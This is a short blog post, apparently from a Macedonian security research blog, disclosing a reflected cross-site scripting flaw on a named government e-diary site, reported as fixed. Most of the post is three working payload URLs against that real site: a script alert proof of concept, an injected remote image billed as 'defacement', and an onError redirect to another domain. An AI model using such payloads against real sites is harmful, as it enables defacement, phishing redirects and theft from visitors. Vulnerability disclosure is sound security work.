Ednevnik.mon.gov.mk is vulnerable to xss cross site scripting xss.
Poc:
http://ednevnik.mon.gov.mk/?s=%22/%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
Non-persisten defacment:
tp://ednevnik.mon.gov.mk/?s=%3Cimg%20src=%22http://i54.tinypic.com/1zf39yv.jpg%22/%22%3E
Url redrection (google):
http://ednevnik.mon.gov.mk/?s=%3Cimg%20src=%22%20%22%20onError=%22document.location='http://google.com'%22%3E
Found by: darknessn1k0!a
Status: Fixed
Thursday, February 10, 2011
ednevnik.mon.gov.mk XSS vulnerable
0
About Me
- За Zer0-0ne
- Блог за истражување и развој на информациска безбедност, кој е наменет за постирање на најнови ранливости и слабости. Founder darknessn1k0!4
0 comments:
Post a Comment